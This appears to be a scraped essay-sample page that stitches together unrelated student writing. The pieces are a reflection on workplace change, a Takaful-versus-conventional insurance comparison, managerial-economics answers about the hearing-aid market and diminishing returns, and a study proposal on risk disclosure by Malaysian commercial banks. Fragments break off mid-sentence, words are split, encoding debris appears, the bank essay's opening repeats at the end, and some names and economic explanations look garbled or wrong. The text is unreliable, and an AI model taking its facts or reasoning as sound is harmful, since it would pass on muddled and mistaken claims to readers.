Managing Communication and Change - Essay Example I had to go through the ordeal of learning new concepts which I wasn't too keen on. The worst part of this was the management's ineffective communication. This in effect didn't show any great results. The downside to it is the loss of a few team members as they found the change too much to deal with. The 'tipping point' comes into the picture here. Upon hearing that a particular company was not as 'experimental' as ours and that an employee had got a great salary along with a promise of better future prospects, several team members quit the company. This led to drastic measures being implemented to retain people and also had the management discuss the problem individually with all the employees identified to have been having problems adjusting to change. This new method of communication, to an extent, did succeed. Thing were back to normal after that and the organization didn't show poor results. I am still unhappy about the time I had to lose, because the organization believed it ha d to change just for the sake of it. The results were good even after continuing with the older practices. It is agreed in general that change is good for any organization but it is not true in all cases.

Conventional insurance and mutual or co-operative insurance Essay

Conventional insurance and mutual or co-operative insurance - Essay Example This paved way for the development of Takaful form of insurance that is Shariah compliant. Mutual risk arrangement Takaful envisages transfer of risk on mutual basis under which arrangement are the participants and operators. It is almost similar to conventional mutual risk sharing such as Mutual Insurance and Indemnity Club (P and I Club). The difference between Takaful and conventional insurances lies in the manner in which risk is managed and Takaful fund is operated. There are differences in relationships between the operator and participants who represent the insurer and insured respectively in the conventional insurance. The management of risk refers to the way risk is assessed (underwriting) and handled. Unlike conventional insurance, uncertainty, speculation (gambling) and interest elements are prohibited in Islamic life and the Takaful insurance is free from these vices known as Gharar (uncertainty), Maisir (gambling) and Riba (interest or usury). (Iqbal, 2005). In order to be free of Gharar, a Takaful contract must be subject to full disclosure from both sides so that there is complete clarity. The full disclosure or clarity should be in respect of the subject matter and terms of contract. If there is any unknown element or unknown exposure, Takaful contract cannot be entered into. But since this ideal situation does not always exist, Takaful contract ensures that there is at least no exchange of Gharar among the parties to the contract (Iqbal, 2005). Prohibition of Maisir (gambling) that is an extreme form of Gharar does not allow risk transfer on speculative basis. Riba, another prohibited element, is avoided by treatment of contribution from the participants as part of risk sharing scheme and not as a premium in conventional insurance. In Takaful, the contribution is envisaged as Mushahamah in the form of donation with a condition of Tabarru (compensation). Further, under Takaful, the funds so collected should be managed and invested following Shar iah principles (Iqbal, 2005). Islam does not prohibit risks as they are a reality. It only prohibits trading on risks. Islam does allow mutual help in any situation including when some misfortune strikes. Both the forms of insurance deal with risks but in a different manner from each other. Under conventional insurance, risks from various insured persons are transferred to the insurer by insured against exchange of premium collected by the insurer. On the other hand, under Takaful risks are shared by the participants (insured) by contribution to fund under a mutual guarantee scheme to be managed by Takaful operator Wakeel (agent). Thus, there is no risk transfer to the operator in Takaful insurance. The conventional insurance actually exchanges uncertainty for certainty. The uncertainty relates to whether or not loss will occur and if at all it occurs, when it will it occur and what will be severity of loss like and how many such losses are likely to occur within a given period. The conventional insurance envisages payment of fixed premium by the insured to insurance company who in turn will pay the loss if it ever occurs within ambit of policy terms. This exchange of uncertain loss is Gharar in Islam and hence not allowed. Therefore, the Takaful avoids risk transfer by the participants (insured) to the operator. This facilitates sharing of risks by among the participants under what can be called a mutual

Competition in the Hearing Aid Market

Competition in the Hearing Aid Market Managerial Economics The number of Americans who have hearing difficulties is too many and is still expected to rise as time goes on. This is a challenge that most people undergoing the same ordeal are expected to face under all the circumstances that aid may be available if not totally to cure hearing loss. Hearing aid is a device that can lessen the burden of auditory impairment but it can only do so much. There are still implications that the use of such can be rather viewed as a supplement only and not a corrective tool. This view alone stands actually as a deficient selling point, as people who already have the difficulty will not always depend on these aids and most probably diverge themselves from buying the product. Hence, this situation definitely hurts the sale capacity of the hearing aid industry. Lowering the Price Naturally, as the demand may not be as considerably successful, the prices of hearing aids remain static as against its normally opined high pricing. The idea of lowering the price is a positive idea but not totally a remarkable one. To take for consideration, marketing plays a pivotal role. Product innovation is still under watch as the product continues to address misconceptions about its use and its price. It can be assumed that people who need such may have to be considered based on their actual individual needs. Lowering the price is not only and always the best solution at whatever product is being marketed. Apart from the actual study conducted, it must be analyzed there upon that actual users must be first educated of the many facets of its use and the impact that it may have if chosen as a summative solution to their auditory problems. It has already been mentioned that the implication of social stigma is above the issue of purchase and poor market reception. In as much as g oing through the usual and most careful market analysis, the firms should maintain a higher standard of psycho-social research to come up with a market campaign that is devoted to curing the disease of social stigma for those who use the product if not to give false hopes of entirely curing the malady of their situation. There are market theories available to stand up as resolution before the poor market reception of hearing aids among its target users. However, there should be a critical analysis between price indices and the actual consideration of buyer’s behavior apart from all the equations and variables given as a cardinal rule. The sensitivity to the issues whether they are psychological, social, or economical – must be placed under a more profound handling of the situation. Firms must take a firm hand on the derivation of serious market analysis before any insinuations that price variability is a stand alone solution to the predicament they are experiencing at the time being. Conclusion A regular consumer still considers product innovations such as unique features and warranted efficiency and necessity. Therefore, elasticity in the demand is considerable in effect that demand answers upon these mentioned industry quantifiable. It can be summarized that since economic recession is still in the midst of all considerations, lowering prices is definitely attractive but in foremost opinion product assurance of quality and effectiveness remains to be the most potent market solution in any given situation. 2. Evaluate different possible strategies that companies could implement to gain a sound position among their competitors in this hearing aids market. Use relevant theoretical concepts discussed in chapters The industry of hearing aids is said to be inelastic for most identifiable factor that it does not have too many options and features. But in the advent of market competition, market shares continue to reward the much needed product options – meaning, there are indeed sensible market campaigns that need to be launched to rise above the competition. To understand this point of view, it is already introduced and implied earlier that price variability is a matter of fact the most convenient solution to be competitive in any given market. On the other hand, the real competition begins when a firm understands thoroughly the purchasing behavior of target consumers. It is to be understood that price indices are not only the deciding factors to be considered if firms desire to be at front of the market line. There are still aspects, which include market segmentation and full market analysis, which can only be attained through accurate SWOT analysis. Market Strategies Strategies can be indicated based on the given practices that identify with the rapport involving standard value and capacity which in turn have the maximum probability to improve its market reception and therefore increase its takings. It is also recommended that firm’s standard industry applications can evaluate the magnitude and outlay needed to capitalize on their income prospective, as specified by the price inelasticity of requirement in the market.  While studying the basic product mix in the market of hearing aids, it is also most helpful to introduce new features and innovations in order to entice users and buyers to purchase with loyalty and assurance. This idea will definitely maximize the growth potential and leadership in the market. Gaining a sound and comfortable position is no easy task as it takes a lot of hard work and patience. In realizing this endeavor, it should be analyzed thereon the sensitivity of the target consumers of the implications and sustaina bility of the product upon consumption. Therefore, a creative and definitive market research is important to establish a rapport among consumers and the improvement of the product itself. As stated above, lowering the prices is just one of the solutions but it cannot withstand the whole competition given all the variables of market and the social behavior of the target consumers. Recommendation Like any market competition, SWOT analysis is much reassuring. To depend on more focused research is actually being guided by the tried and tested steps and factors that will handle all the given situations if the market remains stiff and uncontrollable. Perhaps, one example that can be listed is the principle of managerial economics, which employs a wide variety of economic concepts, tools, and techniques in the decision-making process. These concepts are incorporated to be congruent in the following: the theory of the firm, which describes how businesses make a variety of decisions; the theory of consumer behavior, which describes decision making by consumers; and the theory of market structure and pricing, which describes the structure and characteristics of different market forms under which business firms operate. It can be learned that profit maximization also naturally follows when competition gets in to the right mode of market potentiality. 3. What  economic conditions  are relevant in managerial decision-making and how they are related with the typical types of risk faced by a firm? Briefs Economic conditions Basically, managerial economic is about decision-making. It is what managers decide on the matters that make the atmosphere critical for the success of firms. In this light, it is important to stress that economic conditions truly affect the disadvantage that most firms may encounter as they carry on with the principles of economics and business. Definitely in this bracket are issues regarding market structure, conditions of supply and demand, technology, government regulations, international dimensions, future conditions, and macroeconomic factors. On the other hand, profit maximization is adherent to the idea that it can be liable to different concerns about restrictions encountered by the firm such as supply insufficiency, machinery, contractual clauses and liabilities, and laws and government policies. In their attempt to maximize the present value of profits, business managers must consider not only the short-term and long-term implications of decisions made within the firm, but also the many facets of external limits that their firms may experience on their way to achieve its organizational goals. Scarcity issues concern essential inputs (including skilled labor), key raw materials, energy, specialized machinery and equipment, warehouse space, and other resources. Managers naturally experience situations that may limit their ability to sustain balance in the plant capacity, which is worsened by the lack of enough resources that can make a difference in innovation, expansion and market intensification. Contractual obligations also restrict managerial decisions. Labor contracts, for example, may constrain managers flexibility in worker scheduling and work assignment. Finally, laws and regulations have to be observed. The legal restrictions can constrain decisions regarding both production and marketing activities. Examples of laws and regulations that limit managerial flexibility are: the minimum wage, health and safety standards, fuel efficiency requirements, antipollution regulations, and fair pricing and marketing practices. When it was first argued that perfect competition is the idealized version of the market structure that provides a foundation for understanding how markets toil in a capitalist-based economy, it is also understood primarily that conditions are desired to be reached and accomplished. This is in order to consider that market structure is aggressive: product mix and versatility in the market, well-developed and realized consumers and trader’s condition, and a veritable flow of economic mode of production and its all aspects therein. For example, it is required that the product uniqueness must not at full deny their identical nature with other lines as consumers will become oblivious of brand concerns if everything else seems to be the same from one product to another – this is also true with the same price competitions. When a good number of trade participants prevail, this follows through a significant effect on the revenue as the idea that the population of buyers or sel lers cannot make such a significant effect and therefore will not hurt the price control in any given condition. Finally, resources and materials have already become a staple in most competitive business as agricultural products do. This in conclusion, closes the arguments about having a perfect economic condition regardless of any situation. 6. Analyze the effects of the  law of diminishing returns  to a modern-day business. Why this law is considered a short-run phenomenon? Use appropriate examples Briefs The law of diminishing returns is definitely a short-term success, if not totally a phenomenon. It is a matter of theories between labor and capital and how things go at hand with the aspects of demand and supply. It is real and understandable that when a variable resource (labor) is added a fixed resource (capital) will dramatically augment manufacture quantity for a short time. Understandably, at a given time expected the rate of increase will fluctuate and is expected to turn more abysmal.  This is to explain that diminishing returns impinge on both the manufacture of labor and cost of production. As an example, duplication of labor and overproduction only descend to more unfavorable result as mode of production goes in the direction of surplus value. When Malthus postulated that land becomes a variable input when population becomes erratic and unstable, hence, the Law of Diminishing Returns explains further that when a fixed input like land and machineries, is joint in assembly with a changeable input, using a given technology, is expected to amplify the magnitude of the variable input, and therefore will eventually lower the efficiency of the variable contribution. One good example that can be given is the problem of overproduction in the industry of cars and other automobiles. The capitalist ideals about putting more production output each time to arrest the higher market demands come to a lull when the economic condition deepens and starts to affect the consumer behavior. In this event, it could be noted upon that the conversion of inputs into outputs is only realized based on the technology available in use. As a result, inadequate amount of inputs will produce only narrow number of productivity. Another example that can be stated herein is the labor-to-produce inputs as against the number of days and materials exhausted. Supposed that there are numbers of labor force working in a firm and produce a result given, additional input will just approximate a divisive response as against the total produce. Diminishing returns is exact in thought that it plays an important component in the proficient distribution of capitals. This is by significant turn the real concern of firms and that it ultimately desires to bestow more resources to the use in which they are more prolific. Although, as production outlays more resources to an exacting use, it can be observed that diminishing returns presents itself in which it becomes less productive. This is actually a disappointing outcome but in reality it reveals important aspects of arresting difficulties of resourceful provision of capitals. In the time of economic slowdown, it is important to establish the practical facts that diminishing returns are not what the macroeconomic future of any country needs as of the moment. This in fact argues strongly that excesses in times of recession and unscrupulous economic postulations are definitely unhealthy. However, given enough market analysis and putting more confidence to product and technological innovation, all doubts about this particular economic principle will in turn come out advantageous for the full recovery of the economic force. As strongly as it is exact with its intention, allocation of resources must be critically scrutinized in regular runs so as not to receive more losses than the expected outcomes. It is very much possible that the firms as a guiding thought and principle must not bank too much on economic principles that have no material and realistic basis.

Risk Management of Commercial Bank in Malaysia

Risk Management of Commercial Bank in Malaysia Introduction 1.0 Introduction According to Bank Negara Malaysia, Malaysia banking system is divided into 3 main groups which are; 1) monetary institution comprising the Central Bank (Bank Negara), commercial and Islamic financial institutions; 2) non- monetary institutions namely merchant banks, credit and insurance companies, and development banks; and 3) foreign banks representative offices and offshore banks. Prior to the 1997 financial crisis, Malaysia had thirty seven commercial banks, forty finance companies and twelve merchant banks. However, after the financial crisis 1997, most of the banks has consolidation through mergers and acquisitions to strengthening of these financial institutions has result in thirty – five licensed commercial banks, thirty – one finance banks and twelve merchant banks. As to date, there are only twenty – two licensed commercial banks and fourteen merchant banks in Malaysia. (Shanthi Kandiah, 2009) (Table 1) However, among the twenty two licensed commercial banks only nine of the commercial banks are local bank and the rest of thirteen commercial banks are foreign banks. From the nine local commercial banks out of eight banks listed in Bursa Malaysia are: Malayan Banking Berhad, Hong Long Bank Berhad, Public Bank Berhad, Affin Bank Berhad (under Affin Holding Group), Alliance Bank Berhad (under Alliance Financial Group Berhad), Ambank Berhad ( under AMMB Holding Berhad), Eon Bank Berhad (under Eon Capital Berhad) and lastly CIMB Bank Berhad. (under Bumiputra- Commerce Holdings Berhad) while Rhb Bank Berhad, is currently not listed in the Bursa Malaysia. (Table 2) Table 2: List of Local Commercial Banks in Malaysia After the financial crisis 1997, significant numbers of bank had bankrupt or were merged with other financial institutions, which proven that, the failure of bank is due to their failure in managing their liquidity risk properly. In other words, during the financial crisis a lot of banks were incapable to provided sufficient amount of money to meet the current need of their investors. As thus, banks had said as to failure to managing their risk properly because do not have enough money liquidity in banks to meet the demand of their investors. From another perspective, big bank may not always be better because increase in organisation may present more problems than it. Bank have found that to survive it is more necessary to have a leading market share in a variety of businesses rather than just having a lot of assets or a huge capital. Thus, proper management of risk related to assets and capital market among bank is crucial. If the bank was able to assess the risk at an early stage, then the bank may be able to plan for appropriate action to be taken to reduce risk before it occurred. 1.1 Risk Management in Banking Sector Driven by the increasing complexity of doing business, risk management has become an important and integral part of the company’s internal control and governance in order to achieve its plans and objectives. In other words, risk management refers to the methods and processes used by organizations to manage risks (or seize opportunities) related to the achievement of their objectives. ( Azlan Amran, Abdul Manaf Rosli Bin and Bin Che Haat Mohd Hassan, 2009) Risk management in general involves identifying; assessing, responding, prioritizing then risk followed by minimization of risk and control the probability of risk. Risk management is entering into many aspects of banking business such as increased attention and concern must be given to ensure the risk under control. Ideally, risk management in the banking sector is to reduce the risk to the minimum. For example, credit approval, the officer can reduce this risk through measure the ability to pay back by customer before approved the credit. In facing the challenge of global financial environment, banking sector is required to implement integrated risk management systems. (Rajna, 1999) They are required to identify their current risk exposure such as market risk. It is a necessary risk-reducing tool to promote long-term profitability and stability of the banks and enhance the competitive advantage of banks. If a bank has right risk management systems that can effectively capture the risk exposures, there is an opportunity for them to lower their capital charges. As a result, proper risk management practice is essential for banks to maintain competitiveness over the long run. Lastly, to manage the risk in banking sector, first the banks need to identify the risk. The risk related to banking consists of credit risk, market risk; interest rate risk, foreign risk, liquidity risk and operation risk. Risk identification is the first stage of risk management. This mean that, banks need to correctly identify the risk such as market risk of the risk expose because it helps to develop basis for next steps analysis and control of risk management. (Lubka Tchankova, 2002) 1.2 Risk Management Disclosure in Banking Sector The purpose of risk management disclosure is to allow financial analysts, shareholders, creditors, clients and any interested parties to rely on minimal standards of quality and consistency in the risk management policies of financial firms. Greater promote transparency of risk management could benefit investors. Increased transparency is considered in the numerous explanations offered in the finance literature for the willingness of firms to voluntarily disclosure complete and timely information. This is said to be benefit investors as they need comprehensive risk information if they are to completely understand the bank’s risk profile. Risk is an unavoidable element of any business venture, especially for banking sector. In addition to financial risk, a company is also susceptible to business risk or changes in the overall economic climate that can adversely affect the price of its securities. Hence, it is in the stakeholders’ best interest that risk be disclosed in a timely manner. (Azlan Amran, Abdul Manaf Rosli Bin and Bin Che Haat Mohd Hassan, 2009) Disclosure of risk management is to promote a more robust financial system. Moreover, can help to promote and maintain a sound financial system by strengthening the incentives for sound risk management within financial institutions and by improving the information which financial institutions use to make credit allocation decisions to the corporate sector. (Rajna Gibson, 1999) Normally, those banks with better disclosure will tend to attract more investor to invest, or clients more willing to place their money in the bank. Besides that, the disclosure of risk management helps to reduces information asymmetry. Investors and shareholder would be able to justify the risk position of the bank through the disclosure of respective financial information. This also can help them to justify whether the manager is acting on the interests of the company. Besides that, disclosure of risk facilitates supervision and reduces monitoring costs. Public disclosures of risk in banks annual report enable the management to foresee the potential problems; therefore can plan to reduce risk in advance, thus it save the monitoring cost indirectly. (Philip, 2005) It is argued that banks that disclose greater amounts of useful risk information would benefit from a reduction in their cost of finance as the providers of funds will be in better position to judge the bank’s risk level and this will remove the need for them to incorporate a risk premium within the cost of capital. (Linsey and Shrives, 2005) 1.3 Types of Risk in Banking Sector Risk of the banking sector can be varied and widely difference across the banking institution. Generally the risk for banks business can classified into five popular categories: credit risk, interest rate risk, foreign exchange risk, liquidity risk, and operating risk. 1. Credit risk Credit risks the most important risk categories in banking. Risk that due to the borrower unable to repay back to the banks. In order word, credit risk is the bank borrower fail to meet its obligations in accordance with agreed terms and conditions. The aim of credit risk management is to maximize a bank’s risk- adjusted rate of return by maintaining credit risk exposure within acceptable boundary. (Catherine Soke Fun Ho, 2009) Bank Negara Malaysia (2009), credit risk continues to remain the largest source of risk for banking institutions in Malaysia. This is due to the fact that a banking institution’s loan portfolio is typically the largest asset and the major source of revenue. 2. Interest rate risk Interest rate risk is one of the market risks. It is the effect of changes in market interest rate levels on the profitability of the bank. Increases in interest rates may lead to higher profits, lower profits, or no change in bank profiles. While the risk due to changes in interest rates has always been a possibility, this source of risk was not considered to be serious as long as interest rates were stable. Changes in interest rates can damage the bank’s profitability by increasing its cost of funds, lowering its returns on earning assets, and reducing the value of the owners’ investment. 3. Foreign exchange risk (Forex) Risk associate with the loss in the exchange of the currency. Foreign exchange risk is the loss being incurred because of being party to a foreign currency transaction or holding a foreign currency changes. For extreme cases, it may involve blocking of convertibility. 4. Liquidity risk Liquidity, or the ability to fund increases in assets and meet obligations as they come due, is crucial to the ongoing viability of any banking organization. Therefore, managing liquidity is among the most important activities conducted by banks. Sound liquidity management can reduce the probability of serious problems. Indeed, the importance of liquidity transcends the individual bank, since a liquidity shortfall at a single institution can have system-wide repercussions. (Basel, Feb 2000) 5. Operating risk This is refers to the risk of losses or unexpected expenses associated with fraud, check kiting, and litigation. According to Bank Negara 2009, large corporate experience of the failures due to fraud and lapses in internal controls has focused greater attention on improving operational risk management in banking institutions. 1.4 Problem Statements Driven by increase competitive in business environment today, risk management is required to be disclosed in financial statements of the companies in complying with FRS 132. However, there is an issue where a lot of companies are not willing to disclose additional voluntary information in the financial statements. As they worry valuable information is available to their rivals and creates competitive disadvantages. Radiah Otman (2009), firm may not like to disclose extensive information that might have future repercussions for their bare existence due to sensitivity of such information. This is one of the problem which investors or others interested parties do not have extensive information to evaluate banks financial performance. Apart from it, he also said that interest rate disclosure was favored as compared to credit risk among the market risks categories. 1.5 Research Question The purpose of this study is to determine the extent to which commercial banks are providing risk management disclosure (qualitative information) suggested under FRS 132. Thus, the specific research questions are: Research question 1: Which type of risk more likely to be disclosed by commercial banks in Malaysia? Research question 2: Do commercial banks provided additional voluntary disclosure? Research question 3: Do the commercial banks in Malaysia disclose financial risk management objectives and policies? 1.5 Objective of the Study The general objective of this study is to examine whether the commercial bank in Malaysia complying with the general risk management guideline that provide by the FRS 132. However, the objective is broken down as below; a) To examine which type of risks are more likely to disclosed by the commercial banks in Malaysia. b) To make the comparison among commercial banks to the extent of the information disclosed in the financial statement. Whether information disclosed is voluntary information or mandatory information. c) To examine whether the commercial banks in Malaysia disclosure financial risk management objectives and policies. d) To examine whether the commercial banks in Malaysia comply with Financial Reporting Standards in Malaysian. 1.6 Conclusion After the financial crisis 1997 and also Enron scandals, it is increased need for the demand of more risk management disclosure. Risk management plays an important role in the global financial sector. Banking sector is inherently involved in risks and these risks need to be managed. Inherent risks are the risk that due by economic environment. Bank is highly exposed to this risk, as so the effective risk management is crucial. It is important for banks to release risk information to the marketplace that enables stakeholders to assess its risk profile. Disclosure of risk in financial statement able to help investors have a better understanding on how firm value is affect by risk exposure, this also can help to reduce information asymmetry between banks, investors and other stakeholders. One of the major problems here is that some companies are not willing to disclose more extensive information in their annual reports as they worry that the information is quantifiable to their competitors. Besides that, when the cost of disclosure is higher than the benefit, they will choose not to disclose the risk information. Thus, this study is to undertake which type of risk is most likely to be disclosed by commercial banks in Malaysia and examine whether the information disclosed is moderately or voluntary disclosed additional information. This study also evaluates the level of compliance among banks in Malaysia, and whether the banks disclosed financial risk management objectives and policies. 2.0 Introduction Prior to British colonial in Malaysia, accounting in Malaysia more emphasis on the recognize expenditure and revenue rather than recognize income. As after the British colonial and the accounting development and structure change over time there is increasing important for the issue such as recognition, measurement, and accountability. However, the accountants prepare the accounting reports is more emphasis on the shareholder needs. This mean they tend to alter the reports to the amount of income at which their shareholder desired in order to attract more investors. Therefore, sometime the annual reports do not actually reflect the fact of the financial position of the company. As for this reason, accounting standards play important roles to ensure that the annual report of the company is complying with the standard that are required. Companies registered in Malaysia must comply with the Company Act 1965. The Act prescribes the preparation of general purpose financial reports by certain categories of companies, and this preparation is subject to regulations from several sources. The provision of information is essential for decision maker such as investors, creditors and interested parties. However, there is a need for regulations and monitoring to ensure that the information provided to such users is reliable and unbiased. As for financial institution in Malaysia the key players in the financial reporting environment consist of Companies Commission of Malaysia; Central Bank; Securities Commission, and Malaysia Accounting Standards board (MASB). 2.1.0 Companies Commission of Malaysia All companies that incorporated under Company Act 1965 are regulated by Companies Commission of Malaysia. The Act requires certain companies, such as public listed companies or private limited companies, to prepare financial statements in accordance with approved accounting standards. Among other functions, CCM monitors compliance with accounting standards and the Company Act 1965. This involves investigating companies that do not comply with accounting standards. The function CCM includes: * enhancement and promotion of the supply of business and corporate information; * acting as agent of the Government and providing services in collecting and enforcing payment of prescribed fees; * regulating matters relating to corporations, companies and business. * encouraging and promoting proper conduct amongst directors, secretaries and other officers of a corporation The Companies Commission has played an active role in the accounting profession and the Malaysian Accounting Standards Board (MASB). Coordinated efforts are undertaken by the profession together with the Companies Commission and the MASB to identify issues that impact the financial and reporting environment. 2.1.1 Central Bank Bank Negara Malaysia is the central bank of Malaysia. The main objectives are to issue currency and maintain reserves in order to safeguard the value of the currency; Act as a banker and financial adviser to the Government; promote monetary stability and a sound financial structure; and influence the credit situation to the advantage of the country. Apart from that, Bank Negara Malaysia also responsible for regulates and supervise the financial system in Malaysia. 2. 1.2 Banking and Financial Institutions Act 1989 (BAFIA) Banking and Financial Institutions Act 1989 (BAFIA) is one of the legislations to regulate and supervise the financial system. The objective of the Banking Financial Institutions Act, 1989 (BAFIA) is to provide new laws for the licensing and regulation of the institutions carrying on banking, finance company, merchant banking, discount house and money-broking business, for the regulation of institutions carrying on certain other financial businesses, and for the matters incidental thereto or connected therewith. BAFIA was introduced to provide for an integrated supervision of the Malaysian financial system and also to provide the Central Bank with the power to speedily investigate and prosecute, if necessary any illegal activities in an attempt o reduce white-collar crime. 2.1.3 Securities Commission (SC) Securities commission was set up under the Securities Commission Act 1993. The function of the Securities Commission is to promote a strong and healthy securities market and to maintain the confidence of investors in line with the provisions of the Securities Commission Act and the Securities Industries Act 1983. SC also regulates the corporate sector, particularly the listed companies. Company that listed in bursa Malaysia required filing detailed annual reports with the Commission. The period of the financial report date and the issue date must not exceed six months. The annual reports must be audited. The public companies are required to maintain a high standard of financial disclosure in order to provide the public with the information that is necessary to make informed investment decisions. The SC played a significant role in the establishment of the Financial Reporting Act 1997 and continues to be involved in the Malaysia Accounting Standards Board (MASB). The function of the SC included: * supervising exchanges, clearing houses and central depositories; * regulating all matters relating to securities and future contracts, unit trust schemes, take- over and mergers of companies; * encouraging self – regulation; * approving authority for corporate bond issues; * licensing and supervising all licensed persons; * ensuring proper conduct of market institutions and licensed persons. The SC has since 1996 embarked on three phase shift towards a Disclosure Based Regulation (DBR). With effect from 2001, it has embarked on a full DBR focus with requirements of high standards of disclosure, due diligence and corporate governance. Disclosure is crucial to investors who wish to invest or who have invested in securities sp that their investment decision process can be facilitated. Due diligence is a process undertaken by companies in disclosing information, to ensure that all information disclosure in full, timely and accurate. Corporate governance is the process and structure used to direct and manage the business and the affairs of the company towards enhancing business prosperity and corporate accountability with the ultimate objective of realizing long- term shareholder value, whilst taking into account the interests of other stakeholders. 2.1.4 Malaysia Accounting Standards Board (MASB) The Financial Reporting Act 1997 establishes the Financial Reporting Foundation (FRF) and the Malaysian Accounting Standards Board (MASB). The main functions of the FRF are to provide the financing arrangements for the operations of the MASB, and review the MASB performance. MASB is an independent authority to develop and issue accounting and financial reporting standards in Malaysia. The main functions of the MASB are to: * issue new accounting standards as approved accounting standards; * review, revise or adopt as approved accounting standards existing accounting standards; * issue statements of principles for financial reporting; * sponsor or undertake development of possible accounting standards; * conduct such public consultation as may be necessary in order to determine the contents of accounting concepts, principles and standards; * develop conceptual framework for the purpose of evaluating proposed accounting standards; * make such changes to the form and content of proposed accounting standards as it considers necessary. The MASB together with the Financial Reporting Foundation (FRF) make up the framework for financial reporting in Malaysia. 2.2.0 FRS132 Disclosure Requirements In Malaysia, Bank Negara Malaysia’s and Financial Reporting Standards’ requirements act as quality control measures for bank to comply in respect of their disclosure contents of their risk in the annual report. FRS 132 (IAS 32) Financial Instruments – Disclosure and Presentation shall apply for annual periods beginning on or after 1January 2006. FRS 132 should be read in the context of its objective and the Basis for Conclusions, the Framework for the Preparation and Presentation of Financial Statements. In this study, FRS will take as the guideline to examine the level of compliance among banks in Malaysia to the extent of risk information disclosed. According to paragraph 56 of FRS132 Financial Instruments – Disclosure and Presentation, there is a specific requirement that an entity shall describe its financial risk management objectives and policies, including its policy for hedging each main type of forecast transaction for which hedge accounting is used. Similarly paragraph 58 of FRS132 Financial Instrument specifies that an entity shall disclose a description of hedge; nature of risk being hedged, and a description of the financial instruments designated as hedging instruments and their fair values at the balance sheet date. For each type of market risk such as interest rate risk, an entity shall disclose information about its exposure to interest rate risk, including effective interest rates and maturity dates (or contractual re-pricing). On the other hand, for credit risk an entity shall disclose the amount that best represents its maximum credit risk exposure as at balance sheet date, without taking into account of the fair value of any collateral, in the event of other parties failing to perform their obligations under financial instruments, and significant concentration of credit risk. 2.2.1 Foreign Exchange Risk Disclosure Format When hedging instruments held or issued by an entity, either individually or as a class, creates a potentially significant exposure to the foreign exchange, commodity and interest rate risks. Their terms and conditions that warrant disclosure are: the principal, stated face value, for derivative such as IRS, forwards and future contracts; date of maturity, early settlement option held by either party to the instrument, including the period in which, or date at which, the options can be exercised and the conversion or exchange ratio. 2.2.2 Interest Rate Risk Disclosure Format The carrying amount of financial instruments exposed to interest rate risk may be presented in tabular form, grouped by those that are contracted to mature or be re-priced in the following periods after the balance sheet date. It can be one year or less; in more than one year but not more than two years; in more than two years but not more than three years; in more than three years but not more than four years; in more than fours but not more than five years; and more than five years. Interest rate information may be disclosed for individual instruments, or weighted average rates or a range of rates may be presented for each class of financial instrument. 2.2.3 Credit risk Disclosure Format The disclosure of the financial assets exposed to credit risk shall include the carrying amount of the assets in the balance sheet, net of any provisions for loss. For example, in the case of an IRS carried at fair value, the maximum exposure to loss at the balance sheet date is normally the carrying amount because it represents the cost, at current market rates, of replacing the swap in the event of default. Besides that, a financial asset subject to legally enforceable right of set-off against a financial liability shall be disclosed. It is intriguing to learn that even though MASB advise companies to disclose liquidity risk but no format has been suggested to date. 2. 3.0 Definition of commercial banks In the early days, commercial banks were commonly known as exchange banks because their business was concentrated mainly in the financing of external trade. This involved primary transactions in foreign exchange, such as remitting and receiving funds to and from abroad, and trading in commercial bills, including the short- term financing of foreign trade. Commercial banks are defined as â€Å"any person who carries on bank business†, under the Banking Act, 1973. Banking business means the business of receiving money on current or deposit account, paying and collecting checks drawn by or paid by customers, and making advances to customers, and include such other business as the Central Bank, with the approval of the Finance Minister, may prescribe. However, definition under the Banking and Finance Institution Act, 1989 (BAFIA) is almost the same as the definition under Banking Act, 1973 in which a bank can be defined as â€Å"individual or organizations† whom operates the business of banking such as receiving deposits for current account, saving account, making payment and receiving customers’ checks and other financing. Today, all the operations in the banking industry are governed by BAFIA, 1989. It is developed to replace the Finance Company Act, 1969 as well as the Banking Act, 1973. The introduction of the BAFIA is intended to provide an integrated supervision of the Malaysian financial system and to modernize and streamline the laws relating to banking and banking institutions. 2.2.1 History of Commercial Banks Commercial banks worldwide are mostly owned by private sectors. They are formed as a business organization with the objective to make profits. In their early establishment in Malaysia, commercial banks have played an important role in the transaction and development in the industry of commerce. The business was mainly focused in financing the overseas business transactions such as foreign exchange (in term of sending and receiving money to and from other countries) and also financing in the short- term markets. The main focus on external transaction was due to the development of economy sector especially in the import and export. Moreover, the business operations at that time were run by the branches with the supervision of their head office in overseas. The first bank branch in Malaysia was Charted Mechantile Bank, in 1959. The bank’s head office was initially in India, and then shifted to London and lastly China. Later, when the economy has developed drastically, there were more foreign bank branches. Today, the traditional practice of the banking industry in Malaysia has progressed. An important feature in the development of banking is the growing of locally incorporated foreign and domestic banks. BAFIA came into force on October 1, 1989 the domestic bank were required to formally exchange their licenses for new ones issued under BAFIA. The foreign banks, however, were given a time period of five years (up to October, 1994) to exchange their licenses in view of the provision requiring them to incorporate locally. The growth of locally incorporated banks marked a significant change in commercial banking in the country which prior to the 1970’s was dominated by foreign banks. As at the end of 1959, there were then only 8 domestic as compared to 18 foreign banks. After 1982, foreign banks had been restricted from opening new branches in Malaysia in line with the policy to encourage the growth and development of domestic banks, particularly the expansion of the branch network into the rural areas. As at December 1996, there are a total of 37 commercial banks with a total branch network of 15 Risk Management of Commercial Bank in Malaysia Risk Management of Commercial Bank in Malaysia Introduction 1.0 Introduction According to Bank Negara Malaysia, Malaysia banking system is divided into 3 main groups which are; 1) monetary institution comprising the Central Bank (Bank Negara), commercial and Islamic financial institutions; 2) non- monetary institutions namely merchant banks, credit and insurance companies, and development banks; and 3) foreign banks representative offices and offshore banks. Prior to the 1997 financial crisis, Malaysia had thirty seven commercial banks, forty finance companies and twelve merchant banks. However, after the financial crisis 1997, most of the banks has consolidation through mergers and acquisitions to strengthening of these financial institutions has result in thirty – five licensed commercial banks, thirty – one finance banks and twelve merchant banks. As to date, there are only twenty – two licensed commercial banks and fourteen merchant banks in Malaysia. (Shanthi Kandiah, 2009) (Table 1) However, among the twenty two licensed commercial banks only nine of the commercial banks are local bank and the rest of thirteen commercial banks are foreign banks. From the nine local commercial banks out of eight banks listed in Bursa Malaysia are: Malayan Banking Berhad, Hong Long Bank Berhad, Public Bank Berhad, Affin Bank Berhad (under Affin Holding Group), Alliance Bank Berhad (under Alliance Financial Group Berhad), Ambank Berhad ( under AMMB Holding Berhad), Eon Bank Berhad (under Eon Capital Berhad) and lastly CIMB Bank Berhad. (under Bumiputra- Commerce Holdings Berhad) while Rhb Bank Berhad, is currently not listed in the Bursa Malaysia. (Table 2) Table 2: List of Local Commercial Banks in Malaysia After the 